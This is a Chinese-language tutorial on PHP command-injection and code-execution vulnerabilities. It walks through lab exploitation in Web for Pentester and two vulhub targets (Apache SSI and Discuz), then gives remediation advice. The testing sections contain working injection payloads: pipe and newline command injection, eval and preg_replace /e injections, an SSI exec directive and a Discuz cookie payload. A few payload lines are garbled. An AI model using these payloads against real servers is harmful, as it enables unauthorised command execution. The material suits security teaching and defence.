#1. 命令執行&代碼執行概述
1.1 命令執行漏洞原理
在操作系統中,“&、|、||”都可以作爲命令連接符使用,用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令
1.2 代碼執行漏洞原理
應用有時需要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。
1.3 命令執行與代碼執行漏洞區別
命令執行漏洞是可以直接調用操作系統命令,代碼執行漏洞是靠執行腳本代碼調用操作系統命令
1.4 命令執行&代碼執行漏洞危害
可以執行代碼、系統命令進行讀寫文件、反彈shell等操作,拿下服務器,進一步內網滲透等等。
2.漏洞測試
2.1 靶機測試
這裏我們使用web for pentester進行測試
2.1.1 安裝步驟
下載地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
我們只需要VMware安裝鏡像文件即可使用
新建虛擬機
默認下一步
選擇鏡像文件
設置虛擬機名稱和存放位置
磁盤大小默認即可
開啓此虛擬機
查看ip地址
搭建成功,這裏用Commands injection、Code injection做演示
2.1.2 Commands injection Example 1
從代碼可以看出未做過濾
<?php
system("ping -c 2 ".$_GET['ip']);
?>
使用|連接符跟上要執行的命令
http://192.168.245.131/commandexec/example1.php?ip=127.0.0.1 | whoami
2.1.3 Commands injection Example 2
從代碼可以看出使用/m,/m只匹配一行,所以可以使用換行符繞過
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
使用%0a進行繞過
http://192.168.245.131/commandexec/example2.php?ip=127.0.0.1%0awhoami
2.1.4 Commands injection Example 3
進行了限制,但是有重定向
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
抓包看,可以執行成功
2.1.5 Code injection Example 1
未做過濾,可以進行閉合觸發漏洞。
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>
http://192.168.245.131/codeexec/example1.php?name=%22;phpinfo();//
2.1.6 Code injection Example 2
create_function類似於function test($args){方法代碼部分},然後通過閉合
<?php
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
require_once('../header.php');
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
}
?>
<table class='table table-striped' >
<tr>
<th><a href="example2.php?order=id">id</th>
<th><a href="example2.php?order=name">name</th>
<th><a href="example2.php?order=age">age</th>
</tr>
<?php
foreach ($users as $user) {
echo "<tr>";
echo "<td>".$user->id."</td>";
echo "<td>".$user->name."</td>";
echo "<td>".$user->age."</td>";
echo "</tr>";
}
echo "</table>";
require '../footer.php';
?>
http://192.168.245.131/codeexec/example2.php?order=id);😉}phpinfo();//
2.1.7 Code injection Example 3
preg_replace(pattern,replacement,subject):搜索subject中匹配pattern的部分,以replacement進行替換;當pattern是/e將會以PHP執行replacement中的代碼。
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
http://192.168.245.131/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer
2.1.8 Code injection Example 4
僅去除收尾的空白字符,進行閉合即可
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
http://192.168.245.131/codeexec/example4.php?name=%27.phpinfo();//
2.2 實戰演練
這裏使用vulhub一鍵搭建漏洞測試靶機
2.2.1 vulhub安裝
使用的系統:kali
(1)安裝docker
sudo apt install docker.io
(2)安裝docker-compose
pip install docker-compose
(3)查看docker-compose是否安裝成功
docker-compose -v 有返回則說明安裝成功
(4)下載vulhub
git clone https://github.com/vulhub/vulhub.git
(5)添加國內鏡像
修改或創建配置文件
vim /etc/docker/daemon.json
內容格式:
{
"registry-mirrors": ["<your accelerate address>"]
}
常見的國內加速站點(添加其中一個即可)
https://registry.docker-cn.com
http://hub-mirror.c.163.com
https://3laho3y3.mirror.aliyuncs.com
http://f1361db2.m.daocloud.io
https://mirror.ccs.tencentyun.com
添加好之後重啓服務
service docker restart
2.2.2 Apache SSI 遠程命令執行漏洞
在測試任意文件上傳漏洞的時候,目標服務端可能不允許上傳php後綴的文件。如果目標服務器開啓了SSI與CGI支持,我們可以上傳一個shtml文件,並利用語法執行任意命令。
service docker start 啓動docker
cd httpd/ssi-rce/ 進到靶機環境目錄
docker-compose up -d 構建環境
訪問kali的ip8080端口
這裏我們是無法上傳正常的PHP,所以就上傳個構造好的shtml文件
<!--#exec cmd="whoami" -->
上傳後,訪問
2.2.3 Discuz 7.x/6.x 全局變量防禦繞過導致代碼執行
由於php5.3.x版本里php.ini的設置裏request_order默認值爲GP,導致_COOKIE,我們通過在Cookie中傳入$GLOBALS來覆蓋全局變量,造成代碼執行漏洞。
cd discuz/wooyun-2010-080723/ 進到靶機環境目錄
service docker start 啓動docker
docker-compose up -d 構建環境
啓動好後,訪問http://your-ip:8080/install/來安裝discuz
數據庫地址填寫db,數據庫名爲discuz,數據庫賬號密碼均爲root
安裝好後隨便訪問個帖子,並抓包。
把cookie進行替換
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
3. 修復方案
3.1 命令執行修復方案
3.1.1 儘量少用執行命令的函數或者直接禁用
3.1.2 參數值儘量使用引號包括
3.1.3 在使用動態函數之前,確保使用的函數是指定的函數之一
3.1.4 在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字符進行轉義
3.1.5 能使用腳本解決的工作,不要調用其他程序處理。儘量少用執行命令的函數,並在disable_functions中禁用
3.1.6 對於可控點是程序參數的情況下,使用escapeshellcmd函數進行過濾,對於可控點是程序參數值的情況下,使用escapeshellarg函數進行過濾
3.1.7 參數的值儘量使用引號包裹,並在拼接前調用addslashes進行轉義
3.1.8 對由特定第三方組件引發的漏洞,我們要做的就是及時打補丁,修改安裝時的默認配置。
3.2 代碼執行修復方案
3.2.1 能使用json 保存數組、對象就使用json,不要將php對象保存成字符串,否則讀取的時候需要使用eval。將字符串轉化爲對象的過程其實是將數據轉化爲代碼的過程,這個過程很容易出現漏洞,像php的unserialize 導致代碼執行、struts2的ognl 命令執行等漏洞都是這個過程導致的。
3.2.2 對於必須使用eval 的情況,一定要保證用戶不能輕易接觸eval 的參數(或用正則嚴格判斷輸入的數據格式)。對於字符串,一定要使用單引號包裹可控代碼,並再插入前進行addslashes,這樣就無法閉合單引號,又因爲不是雙引號包裹,故不能執行 ${} 。
evil(’{phpinfo()}")、evil(phpinfo())、evil(${@phpinfo()}) 都可以執行,因爲雙引號裏面內容會被當作變量解析一次,函數前加 @ 表示執行函數時不報錯。
data);eval("$data = deal(’$data’);");
3.2.3 放棄使用preg_replace 的e修飾符,而換用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的話,請保證第二個參數中,對於正則匹配出的對象,用單引號包裹。
3.2.4 確保register_globals = off, 若不能自定義php.ini,則應該在代碼中控制;其次,熟悉可能造成變量覆蓋的函數和方法,檢查用戶是否能控制變量的來源;最後,養成初始化變量的好習慣。
3.2.5 能夠往本地寫入的函數都需要重點關注,如 file_put_contents(), fwrite(), fputs() 等。
3.2.6 在自動化漏洞檢測中可以 直接帶入類似 “;print(md5(test));$a=” ,匹配返回頁面是否有 md5 字符串。
4. 參考文章
https://www.freebuf.com/column/154670.html
https://vulhub.org/#/docs/
https://vulhub.org/#/environments/httpd/ssi-rce/
https://vulhub.org/#/environments/discuz/wooyun-2010-080723/
https://github.com/cnonce/MiscSecNotes/blob/master/命令執行/命令執行.md